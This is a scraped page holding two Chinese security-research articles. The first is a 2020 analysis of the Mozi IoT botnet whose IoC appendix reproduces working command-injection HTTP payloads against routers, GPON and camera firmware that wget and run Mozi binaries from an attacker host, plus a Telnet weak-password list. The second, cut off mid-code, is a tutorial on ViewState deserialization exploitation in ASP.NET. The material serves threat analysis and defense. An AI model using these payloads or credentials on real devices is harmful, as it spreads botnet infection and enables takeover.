-
专项行动的意外收获—— 2020 年 9 月墨子(Mozi)僵尸网络分析报告
作者:answerboy@知道创宇404积极防御实验室
时间:2020年9月18日1.概述
专项行动期间,某天各大蓝队群内都在交流最近是否收到很多来自印度的攻击流量,最初部分认为是红队在使用印度IP进行攻击。但很快发现事情好像并不是这么简单,通过对攻击Payload特征的分析,发现该攻击不是专项行动红队所发起,而是来自一个正在迅速扩张的僵尸网络——Mozi(墨子)僵尸网络。
Mozi僵尸网络是于2019年底首次出现在针对路由器和DVR 的攻击场景上的一种P2P僵尸网络。主要攻击物联网(IoT)设备,包括网件、D-Link和华为等路由设备。它本质上是Mirai的变种,但也包含Gafgyt和IoT Reaper的部分代码,用于进行DDoS攻击、数据窃取、垃圾邮件发送以及恶意命令执行和传播。目前其规模已经迅速扩大,据统计目前已占到所有物联网(IoT)僵尸网络流量的90% 。
近日知道创宇404积极防御实验室通过知道创宇云防御安全大数据平台监测到大量来自印度IP的攻击。经分析,其中大量的攻击来自Mozi僵尸网络,可能和近期印度Mozi僵尸网络大范围感染并传播有关。
2.追溯分析
2.1发现攻击
近日,知道创宇404积极防御实验室监测到大量来自印度IP的Web攻击,试图通过远程命令执行下载Mozi.m、Mozi.a等恶意文件到被攻击设备上,且使用的User-Agent均为:“Hello, world”。使用的部分攻击Payload如下:
12cd+/tmp;rm+rf+*;wget+http://27.6.167.68:46222/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1图1-攻击日志
通过对样本的分析确定该样本属于Mozi僵尸网络家族。
2.2详细分析
2.2.1 Mozi.m样本分析
捕获到的样本信息:
SHA256:bba18438991935a5fb91c8f315d08792c2326b2ce19f2be117f7dab984c47bdf
ELF 头:
Magic 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 类别 ELF32 数据 2 补码,大端序 (big endian) Version 1 (current) OS/ABI UNIX - System V ABI 版本 0 类型 EXEC (可执行文件) 系统架构 MIPS R3000 版本 0x1 入口点地址 0x41fb58 程序头起点 52 (bytes into file) 样本通过UPX进行了加壳操作,且将p_info结构中的p_file_size和p_blocksize值擦除为了0,来增强自身的“安全性”。
在成功感染目标设备之后,Mozi为进行自我保护,会通过防火墙阻断SSH、Telnet端口,以防止被其他僵尸网络入侵:
图2-阻断22、2323端口通信
根据感染的设备,修改防火墙策略放行不同的端口来保证自身的通信:
图3-放行自身使用端口
同时读取/proc/net/tcp和/proc/net/raw来查找并KILL掉使用1536和5888端口的进程:
图4-Kill相关进程
检查被感染的设备上是否存在Watchdog来避免重启:
图5-检测Watchdog
检查被感染的设备上是否存在/usr/bin/python,如果存在,则将进程名称更改为sshd,不存在则更改为dropbear,以此来迷惑被攻击者。
图6-更改进程名
分析过程中发现Mozi僵尸网络复用了部分Gafgyt家族僵尸网络的代码,其中内嵌了8个硬编码的公共节点信息,用于加入P2P网络,如下:
图7-内置的节点
在样本中还硬编码了一个使用XOR加密的配置文件及密钥:
图8-配置文件
使用硬编码的秘钥解密后得到如下配置数据:
[ss]bot[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id = 19894027&pu =http%3a%2f%2fbaidu.com/[idp][/count]。
新的Mozi节点向
http://ia.51.la/
发送HTTP请求,来注册自身。在通信流量中通过
1:v4:JBls
来标记是否为Mozi节点发起的通信。图9-通信标识
所攻击的设备类型包括:GPON光纤设备、NetGear路由设备、华为HG532交换机系列、D-Link路由设备、使用Realtek SDK的设备、Vacron监控摄像机、斐讯路由器、 USR-G806 4G工业无线路由器等:
图10-攻击的设备类型
同时还在样本中发现硬编码的部分用户名和弱口令,用来对Telnet进行暴力破解攻击,以扩大感染和传播范围,硬编码的部分用户名和密码如下:
图11-部分弱口令密码
2.3攻击分布
自9月以来知道创宇云防御共拦截了来自Mozi僵尸网络的151,952个IP的攻击,总计拦截攻击14,228,252次。与8月份相比,来自印度的攻击显著增加,拦截到的来自印度的攻击IP同比上涨了近30%,所拦截到的总攻击次数上涨了近42%。下图为知道创宇404积极防御实验室自9月以来监测到的来自印度的攻击IP TOP10:
图12-攻击IP TOP10
通过对捕获到的日志分析,对所有被攻击的行业进行分类统计,其中被攻击占比最高的为政府事业单位,以及部分部委机关系统及网站。这部分系统在所有被攻击的行业中占比达到45%。如下:
图13-被攻击行业分布
目前Mozi僵尸网络仍在快速扩张,且呈上升趋势,临近十一重保,各单位仍需提高警惕,做好安全防护措施,尤其是各级政府事业单位以及部委机关单位,应提前做好相关设备的安全检查,避免被僵尸网络入侵感染。
3.防护建议
- 1.设备关闭不必要的端口,对使用的端口号进行更改;
- 2.定期更新系统补丁,及时修复相关漏洞;
- 3.服务器切勿使用弱口令,避免被暴力破解;
- 4.根据附件中的Payload阻断存在以下特征的通信;
- 5.关注设备上的可疑进程和外连访问,尤其是近期来自印度的IP。
4附:IoCs
公共节点
dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
ttracker.debian.org:6881
212.129.33.59:6881(ZoomEye搜索结果)
82.221.103.244:6881(ZoomEye搜索结果)
130.239.18.159:6881(ZoomEye搜索结果)
87.98.162.88:6881(ZoomEye搜索结果)部分Payload
123456789POST /GponForm/diag_Form?images/ HTTP/1.1Host: 127.0.0.1:80Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: Hello, WorldContent-Length: 118XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://%s:%d/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0123456789POST /picsdesc.xml HTTP/1.1Content-Length: 630Accept-Encoding: gzip, deflateSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMappingAccept: /User-Agent: Hello-WorldConnection: keep-alive<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://%s:%d/Mozi.m; chmod +x Mozi.m; ./Mozi.m</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>1GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s:%d/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js HTTP/1.01234567POST /HNAP1/ HTTP/1.0Host: %s:80Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://%s:%d/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m`Content-Length: 640<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>12345GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1User-Agent: Hello, worldHost: %s:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive12345678POST /UD/act?1 HTTP/1.1Host: 127.0.0.1:7574User-Agent: Hello, worldSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServersContent-Type: text/xmlContent-Length: 640<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>12GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.mGET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron12345678910POST /soap.cgi?service=WANIPConn1 HTTP/1.1Host: %s:49152Content-Length: 630Accept-Encoding: gzip, deflateSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMappingAccept: */*User-Agent: Hello, WorldConnection: keep-alive<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"><NewPortMappingDescription><NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>`cd /tmp;rm -rf *;wget http://%s:%d/Mozi.m;/tmp/Mozi.m dlink`</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>1GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s:%d/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0暴力破解使用的用户名及弱口令
Username Password admin 00000000 telnetadmin 1111 !!Huawei 1111111 admin 1234 root 12345 root 123456 keomeo 2010vesta support 2011vesta CMCCAdmin 25802580 e8telnet 54321 e8ehome1 666666 e8ehome 7ujMko0admin user 7ujMko0vizxv mother 888888 root 88888888 Administrator @HuaweiHgw service BrAhMoS@15 supervisor CMCCAdmin guest CUAdmin admin1 Fireitup administrator GM8182 ubnt PhrQjGzk tech Pon521 admin Zte521 admin admin telnet admin1234 adminHW adminpass anko cat1029 chzhdpl conexant default dreambox e2008jl e8ehome e8ehome1 e8telnet epicrouter fucker gpon guest gw1admin h@32LuyD hg2x0 hi3518 ikwb juantech jvbzd keomeo klv123 klv1234 meinsm pass password plumeria0077 r@p8p0r+ realtek root service smcadmin supervisor support system tech telnet telnetadmin ubnt user v2mprt vizxv xJ4pCYeW xc3511 xmhdipc zlxx zte SHA256
12bba18438991935a5fb91c8f315d08792c2326b2ce19f2be117f7dab984c47bdfc672798dca67f796972b42ad0c89e25d589d2e70eb41892d26adbb6a79f638875.参考链接:
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1347/
没有评论 -
.Net 反序列化之 ViewState 利用
作者:HuanGMz@知道创宇404实验室
时间:2020年10月30日.NET 相关漏洞中,ViewState也算是一个常客了。Exchange CVE-2020-0688,SharePoint CVE-2020-16952 中都出现过ViewState的身影。其实ViewState 并不算漏洞,只是ASP.NET 在生成和解析ViewState时使用ObjectStateFormatter 进行序列化和反序列化,虽然在序列化后又进行了加密和签名,但是一旦泄露了加密和签名所使用的算法和密钥,我们就可以将ObjectStateFormatter 的反序列化payload 伪装成正常的ViewState,并触发ObjectStateFormatter 的反序列化漏洞。
加密和签名序列化数据所用的算法和密钥存放在web.confg 中,Exchange 0688 是由于所有安装采用相同的默认密钥,而Sharepoitn 16952 则是因为泄露web.confg 。
.NET 反序列化神器 ysoserial.net 中有关于ViewState 的插件,其主要作用就是利用泄露的算法和密钥伪造ViewState的加密和签名,触发ObjectStateFormatter 反序列化漏洞。但是我们不应该仅仅满足于工具的使用,所以特意分析了ViewState 的加密和签名过程作成此文,把工具用的明明白白的。
初接触.NET,文中谬误纰漏之处在所难免,如蒙指教不胜感激。
1. 调试.Net FrameWork
1.1 .Net 源码
对于刚接触.Net反序列化,甚至刚接触C#的朋友来说,有一个舒适方便的调试环境实在是太重要了。这里就简单介绍一下如何进行.net framework 的底层调试。
.Net Framework 已经被微软开源了,你可以在官方网站上下载源码或者直接在线浏览。目前开源的版本包括 .Net 4.5.1 到 4.8。但是要注意,虽然微软开源了.Net 的源码,以及相应的VS项目文件,但是只能用于代码浏览,而无法进行编译。因为缺少重要组件(包括xaml文件和资源文件)。
1.2 调试
微软官文档有说明如何使用VS进行.Net源码的调试。其原理大概是通过pdb+源码的方式来进行单步调试。但经过实际尝试,发现并不是所有.net 程序集文件都有完整的pdb文件,其中一部分程序集的pdb是没有源码信息的。也就是说,只有一部分的程序集可以通过vs进行单步调试。
细节参考以下连接:https://referencesource.microsoft.com/setup.html
支持源码调试的程序集列表为:https://referencesource.microsoft.com/indexedpdbs.txt
在放弃使用vs进行调试后,我发现还可以使用dnspy 进行.net底层调试。dnspy 是一个开源的.Net反编译工具,与经典工具Reflector相比,它不仅可以用于反编译,还可以借助反编译直接进行调试。dnspy 的github链接在这里。可以下载源码进行编译,也可以直接下载编译好的版本,不过要注意满足它要求的.net framework 版本。
设置环境变量 COMPLUS_ZapDisable=1
为什么要设置这个环境变量,为了禁用所有NGEN映像(* .ni.dll)的使用。
假如你的windows服务器上安装有IIS服务,并且上面运行一个网站。使用浏览器打开该网站,这会使IIS在后台创建一个工作进程,用于运行该网站。这时我们用 process explore去查看 w3wp.exe 进程加载的dll,你会发现为什么程序集后面都有一个.ni的后缀。System.Web.dll 变为了 System.Web.ni.dll ,并且该dll的描述中还特意写了 "System.Web.dll"。其实这就是在使用.Net的优化版代码。
设置环境变量 COMPLUS_ZapDisable=1 ,重启windows(一定要重启,因为重启IIS服务才能应用到我们设置的新环境变量)。仍然用ie打开网站,然后使用Process explore去查看w3wp.exe,这时你就会发现:网站工作进程加载的程序集变回了我们所熟知的System.Web.dll。
注意1:设置环境变量后要重启
注意2:如果找不到w3wp.exe,使用管理员运行process explore。
使用dnspy 进行调试
首先我们用process explore检查
w3wp.exe
加载的程序集所在的位置。因为你的系统上可能安装有多个版本的.Net或者是不同位数的.Net。如果你在dnsPy 中打开了错误的程序集,你在上面下断点的时候会提示你:无法中断到该断点,因为没有加载该模块。选择32位或者64位的 dnspy(与被调试进程匹配),以管理员权限启动。随便找一个程序集,比如System.Web.dll,点开后我们看他第一行中所写的路径是否与目标进程加载的程序集相同:
如果不相同,左上方 文件->全部关闭,然后 文件->打开列表,从中选择一个版本合适的 .Net 。
然后上方 调试->附加到进程,选择
w3wp.exe
,如果有多个进程,我们可以通过进程号来确定。那么如何判断哪一个进程是我们需要的呢?方法有很多种,你可以通过 process explore 查看w3wp.exe
的启动命令,看哪个是运行目标网站的工作进程。又或者,以管理员权限启动cmd,进入 C:\Windows\System32\inetsrv,然后运行appcmd list wp。我们可以看到进程号和对应的网站集名称。
然后就是给目标函数下断点,刷新页面,会中断到断点。
2. ViewState基础知识
在我们尝试利用ViewState反序列化之前,我们需要一些了解相关的知识。
ASP.NET是由微软在.NET Framework框架中所提供,开发Web应用程序的类别库,封装在System.Web.dll文件中,显露出System.Web名字空间,并提供ASP.NET网页处理、扩展以及HTTP通道的应用程序与通信处理等工作,以及Web Service的基础架构。
也就是说,ASP.NET 是.NET Framework 框架提供的一个Web库,而ViewState则是ASP.NET所提供的一个极具特点的功能。
出现ViewState的原因:
HTTP模型是无状态的,这意味着,每当客户端向服务端发起一个获取页面的请求时,都会导致服务端创建一个新的page类的实例,并且一个往返之后,这个page实例会被立刻销毁。假如服务端在处理第n+1次请求时,想使用第n次传给服务器的值进行计算,而这时第n次请求所对应的page实例早已被销毁,要去哪里找上一次传给服务器的值呢?为了满足这种需求,就出现了多种状态管理技术,而VewState正是ASP.NET 所采用的状态管理技术之一。
ViewState是什么样的?
要了解ViewState,我们要先知道什么叫做服务器控件。
ASP.NET 网页在微软的官方名称中,称为 Web Form,除了是要和Windows Forms作分别以外,同时也明白的刻划出了它的主要功能:“让开发人员能够像开发 Windows Forms 一样的方法来发展 Web 网页”。因此 ASP.NET Page 所要提供的功能就需要类似 Windows Forms 的窗体,每个 Web Form 都要有一个< form runat="server" >< /form >区块,所有的 ASP.NET 服务器控件都要放在这个区域中,这样才可以让 ViewState 等服务器控制能够顺畅的运作。
无论是HTML服务器控件、Web服务器控件 还是 Validation服务器控件,只要是ASP.NET 的服务器控件,都要放在< form runat="server" >< /form >的区块中,其中的属性 runat="server" 表明了该表单应该在服务端进行处理。
ViewState原始状态是一个 字典类型。在响应一个页面时,ASP.NET 会把所有控件的状态序列化为一个字符串,然后作为 hidden input 的值 插入到页面中返还给客户端。当客户端再次请求时,该hidden input 就会将ViewState传给服务端,服务端对ViewState进行反序列化,获得属性,并赋给控件对应的值。
ViewState的安全性:
在2010年的时候,微软曾在《MSDN杂志》上发过一篇文章,讨论ViewState的安全性以及一些防御措施。文章中认为ViewState主要面临两个威胁:信息泄露和篡改。
信息泄露威胁:
原始的ViewState仅仅是用base64编码了序列化后的binary数据,未使用任何类型的密码学算法进行加密,可以使用LosFormatter(现在已经被ObjectStateFormatter替代)轻松解码和反序列化。
12LosFormatter formatter = new LosFormatter();object viewstateObj = formatter.Deserialize("/wEPDwULLTE2MTY2ODcyMjkPFgIeCHBhc3N3b3JkBQlzd29yZGZpc2hkZA==");反序列化的结果实际上是一组System.Web.UI.Pair对象。
为了保证ViewState不会发生信息泄露,ASP.NEt 2.0 使用 ViewStateEncryptionMode属性 来启用ViewState的加密,该属性可以通过页面指令或在应用程序的web.config 文件中启用。
1<%@ Page ViewStateEncryptionMode="Always" %>ViewStateEncryptionMode 可选值有三个:Always、Never、Auto
篡改威胁:
加密不能防止篡改 ,即使使用加密数据,攻击者仍然有可能翻转加密书中的位。所以要使用数据完整性技术来减轻篡改威胁,即使用哈希算法来为消息创建身份验证代码(MAC)。可以在web.config 中通过EvableViewStateMac来启用数据校验功能。
1<%@ Page EnableViewStateMac="true" %>注意:从.NET 4.5.2 开始,强制启用ViewStateMac 功能,也就是说即使你将 EnableViewStateMac设置为false,也不能禁止ViewState的校验。安全公告KB2905247(于2014年9月星期二通过补丁程序发送到所有Windows计算机)将ASP.NET 设置为忽略EbableViewStateMac设置。
启用ViewStateMac后的大致步骤:
(1)页面和所有参与控件的状态被收集到状态图对象中。
(2)状态图被序列化为二进制格式
a. 密钥值将附加到序列化的字节数组中。
b. 为新的序列化字节数组计算一个密码哈希。
c. 哈希将附加到序列化字节数组的末尾。(3) 序列化的字节数组被编码为base-64字符串。
(4)base-64字符串将写入页面中的__VIEWSTATE表单值。
利用ViewState 进行反序列化利用
其实ViewState 真正的问题在与其潜在的反序列化漏洞风险。ViewState 使用ObjectStateFormatter 进行反序列化,虽然ViewState 采取了加密和签名的安全措施。但是一旦泄露web.config,获取其加密和签名所用的密钥和算法,我们就可以将ObjectStateFormatte 的反序列化payload 进行同样的加密与签名,然后再发给服务器。这样ASP.NET在进行反序列化时,正常解密和校验,然后把payload交给ObjectStateFormatter 进行反序列化,触发其反序列化漏洞,实现RCE。
3. web.config 中关于ViewState 的配置
ASP.NET 通过web.config 来完成对网站的配置。
在web.config 可以使用以下的参数来开启或关闭ViewState的一些功能:
1<pages enableViewState="false" enableViewStateMac="false" viewStateEncryptionMode="Always" />enableViewState: 用于设置是否开启viewState,但是请注意,根据 安全通告KB2905247 中所说,即使在web.config中将enableViewState 设置为false,ASP.NET服务器也始终被动解析 ViewState。也就是说,该选项可以影响ViewState的生成,但是不影响ViewState的被动解析。实际上,viewStateEncryptionMode也有类似的特点。
enableViewStateMac: 用于设置是否开启ViewState Mac (校验)功能。在 安全通告KB2905247 之前,也就是4.5.2之前,该选项为false,可以禁止Mac校验功能。但是在4.5.2之后,强制开启ViewState Mac 校验功能,因为禁用该选项会带来严重的安全问题。不过我们仍然可以通过配置注册表或者在web.config 里添加危险设置的方式来禁用Mac校验,详情见后面分析。
viewStateEncryptionMode: 用于设置是否开启ViewState Encrypt (加密)功能。该选项的值有三种选择:Always、Auto、Never。
- Always表示ViewState始终加密;
- Auto表示 如果控件通过调用 RegisterRequiresViewStateEncryption() 方法请求加密,则视图状态信息将被加密,这是默认值;
- Never表示 即使控件请求了视图状态信息,也永远不会对其进行加密。
在实际调试中发现,viewStateEncryptionMode 影响的是ViewState的生成,但是在解析从客户端提交的ViewState时,并不是依据此配置来判断是否要解密。详情见后面分析。
在web.config 中通过machineKey节 来对校验功能和加密功能进行进一步配置:
1<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />例子:
1<machineKey validationKey="BF579EF0E9F0C85277E75726BFC9D0260FADE8DE2864A583484AA132944F602D" decryptionKey="51FE611365277B07911521B7CAFE3766751D16C33D96242F0E63E93FB102BCE2" validation="HMACSHA256" />其中的validationKey 和 decryptionKey 分别是校验和加密所用的密钥,validation和decryption则是校验和加密所使用的算法(可以省略,采用默认算法)。校验算法包括: SHA1、 MD5、 3DES、 AE、 HMACSHA256、 HMACSHA384、 HMACSHA512。加密算法包括:DES、3DES、AES。 由于web.config 保存在服务端上,在不泄露machineKey的情况下,保证了ViewState的安全性。
了解了一些关于ViewState的配置后,我们再来看一下.NET Framework 到底是如何处理ViewState的生成与解析的。
4. ViewState的生成和解析流程
根据一些先验知识,我们知道ViewState 是通过ObjectStateFormatter的Serialize和Deserialize 来完成ViewState的序列化和反序列化工作。(LosFormatter 也用于ViewState的序列化,但是目前其已被ObjectStateFormatter替代。LosFormatter的Serialize 是直接调用的ObjectStateFormatter 的Serialize)
ObjectStateFormatter 位于System.Web.UI 空间,我们给他的 Serialize函数下个断点(重载有多个Serialize函数,注意区分)。使用dnspy 调试,中断后查看栈回溯信息:
通过栈回溯,我们可以清晰的看到Page类通过调用 SaveAllState 进入到ObjectStateFormatter的 Seralize 函数。
4.1 Serialize 流程
查看Serialize 函数的代码(这里我使用.Net 4.8 的源码,有注释,更清晰):
12345678910111213141516171819202122232425262728293031323334353637383940private string Serialize(object stateGraph, Purpose purpose) {string result = null;MemoryStream ms = GetMemoryStream();try {Serialize(ms, stateGraph);ms.SetLength(ms.Position);byte[] buffer = ms.GetBuffer();int length = (int)ms.Length;#if !FEATURE_PAL // FEATURE_PAL does not enable cryptography// We only support serialization of encrypted or encoded data through our internal Page constructorsif (AspNetCryptoServiceProvider.Instance.IsDefaultProvider && !_forceLegacyCryptography) {// If we're configured to use the new crypto providers, call into them if encryption or signing (or both) is requested....}else {// Otherwise go through legacy crypto mechanisms#pragma warning disable 618 // calling obsolete methodsif (_page != null && _page.RequiresViewStateEncryptionInternal) {buffer = MachineKeySection.EncryptOrDecryptData(true, buffer, GetMacKeyModifier(), 0, length);length = buffer.Length;}// We need to encode if the page has EnableViewStateMac or we got passed in some mac key stringelse if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);}#pragma warning restore 618 // calling obsolete methods}#endif // !FEATURE_PALresult = Convert.ToBase64String(buffer, 0, length);}finally {ReleaseMemoryStream(ms);}return result;}在函数开头处,调用了另一个重载的Serialzie函数,作用是将stateGraph 序列化为binary数据:
12345MemoryStream ms = GetMemoryStream();try {Serialize(ms, stateGraph);ms.SetLength(ms.Position);...之后进入else分支:
12345678if (_page != null && _page.RequiresViewStateEncryptionInternal) {buffer = MachineKeySection.EncryptOrDecryptData(true, buffer, GetMacKeyModifier(), 0, length);length = buffer.Length;}// We need to encode if the page has EnableViewStateMac or we got passed in some mac key stringelse if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);}这里有两个重要标志位, _page.RequiresViewStateEncryptionInternal 和 _page.EnableViewStateMac。这两个标志位决定了序列化的Binary数据 是进入 MachineKeySection.EncryptOrDecryptData()函数还是 MachineKeySection.GetEncodedData()函数。
其中EncryptOrDecryptData() 函数用于加密以及可选择的进行签名(校验),而GetEncodedData() 则只用于签名(校验)。稍后我们再具体分析这两个函数,我们先来研究一下这两个标志位。
这两个标志位决定了服务端产生的ViewState采取了什么安全措施。这与之前所描述的web.config 中的EnableViewStateMac 和 viewStateEncryptionMode的作用一致。
_page.RequiresViewStateEncryptionInternal 来自这里:
123456internal bool RequiresViewStateEncryptionInternal {get {return ViewStateEncryptionMode == ViewStateEncryptionMode.Always ||_viewStateEncryptionRequested && ViewStateEncryptionMode == ViewStateEncryptionMode.Auto;}}其中的ViewStateEncryptionMode 应当是直接来自web.config。所以是否进入 MachineKeySection.EncryptOrDecryptData 取决于web.config 里的配置。(注意,进入该函数不仅会进行加密,也会进行签名)。
_page.EnableViewStateMac 来自这里:
1234567891011public bool EnableViewStateMac {get { return _enableViewStateMac; }set {// DevDiv #461378: EnableViewStateMac=false can lead to remote code execution, so we// have an mechanism that forces this to keep its default value of 'true'. We only// allow actually setting the value if this enforcement mechanism is inactive.if (!EnableViewStateMacRegistryHelper.EnforceViewStateMac) {_enableViewStateMac = value;}}}对应字段 _enableViewStateMac 在Page类的初始化函数中被设置为默认值 true:
123456public Page() {_page = this; // Set the page to ourselves_enableViewStateMac = EnableViewStateMacDefault;...}于是 _enableViewStateMac 是否被修改就取决于 EnableViewStateMacRegistryHelper.EnforceViewStateMac。
查看 EnableViewStateMacRegistryHelper 类,其为EnforceViewStateMac 做了如下注释:
1234// Returns 'true' if the EnableViewStateMac patch (DevDiv #461378) is enabled,// meaning that we always enforce EnableViewStateMac=true. Returns 'false' if// the patch hasn't been activated on this machine.public static readonly bool EnforceViewStateMac;也就是说:在启用EnableViewStateMac补丁的情况下,EnforceViewStateMac 返回true,这表示 前面的EnableViewStateMac 标志位会始终保持其默认值true。
在EnableViewStateMacRegistryHelper 类的初始化函数中,进一步表明了是依据什么修改 EnforceViewStateMac的:
1234567891011121314151617static EnableViewStateMacRegistryHelper() {// If the reg key is applied, change the default values.bool regKeyIsActive = IsMacEnforcementEnabledViaRegistry();if (regKeyIsActive) {EnforceViewStateMac = true;SuppressMacValidationErrorsFromCrossPagePostbacks = true;}// Override the defaults with what the developer specified.if (AppSettings.AllowInsecureDeserialization.HasValue) {EnforceViewStateMac = !AppSettings.AllowInsecureDeserialization.Value;// Exception: MAC errors from cross-page postbacks should be suppressed// if either the <appSettings> switch is set or the reg key is set.SuppressMacValidationErrorsFromCrossPagePostbacks |= !AppSettings.AllowInsecureDeserialization.Value;}...可以看到EnforceViewStateMac 在两种情况下被修改:
- 依据 IsMacEnforcementEnabledViaRegistry() 函数
该函数是从注册表里取值,如果该表项为0,则表示禁用EnableViewStateMac 补丁。
1234567891011private static bool IsMacEnforcementEnabledViaRegistry() {try {string keyName = String.Format(CultureInfo.InvariantCulture, @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{0}", Environment.Version.ToString(3));int rawValue = (int)Registry.GetValue(keyName, "AspNetEnforceViewStateMac", defaultValue: 0 /* disabled by default */);return (rawValue != 0);}catch {// If we cannot read the registry for any reason, fail safe and assume enforcement is enabled.return true;}}- 依据 AppSettings.AllowInsecureDeserialization.HasValue
该值应当是来自于web.config 中的危险设置:
123456<configuration>…<appSettings><add key="aspnet:AllowInsecureDeserialization" value="true" /></appSettings></configuration>总结来说,ViewStateMac 默认强制开启,要想关闭该功能,必须通过注册表或者在web.config 里进行危险设置的方式禁用 EnableViewStateMac 补丁才能实现。
4.2 Deserialize 流程
查看 Deserialize 函数的代码:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546private object Deserialize(string inputString, Purpose purpose) {if (String.IsNullOrEmpty(inputString)) {throw new ArgumentNullException("inputString");}byte[] inputBytes = Convert.FromBase64String(inputString);int length = inputBytes.Length;#if !FEATURE_PAL // FEATURE_PAL does not enable cryptographytry {if (AspNetCryptoServiceProvider.Instance.IsDefaultProvider && !_forceLegacyCryptography) {// If we're configured to use the new crypto providers, call into them if encryption or signing (or both) is requested....}else {// Otherwise go through legacy crypto mechanisms#pragma warning disable 618 // calling obsolete methodsif (_page != null && _page.ContainsEncryptedViewState) {inputBytes = MachineKeySection.EncryptOrDecryptData(false, inputBytes, GetMacKeyModifier(), 0, length);length = inputBytes.Length;}// We need to decode if the page has EnableViewStateMac or we got passed in some mac key stringelse if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {inputBytes = MachineKeySection.GetDecodedData(inputBytes, GetMacKeyModifier(), 0, length, ref length);}#pragma warning restore 618 // calling obsolete methods}}catch {// MSRC 10405: Don't propagate inner exceptions, as they may contain sensitive cryptographic information.PerfCounters.IncrementCounter(AppPerfCounter.VIEWSTATE_MAC_FAIL);ViewStateException.ThrowMacValidationError(null, inputString);}#endif // !FEATURE_PALobject result = null;MemoryStream objectStream = GetMemoryStream();try {objectStream.Write(inputBytes, 0, length);objectStream.Position = 0;result = Deserialize(objectStream);}finally 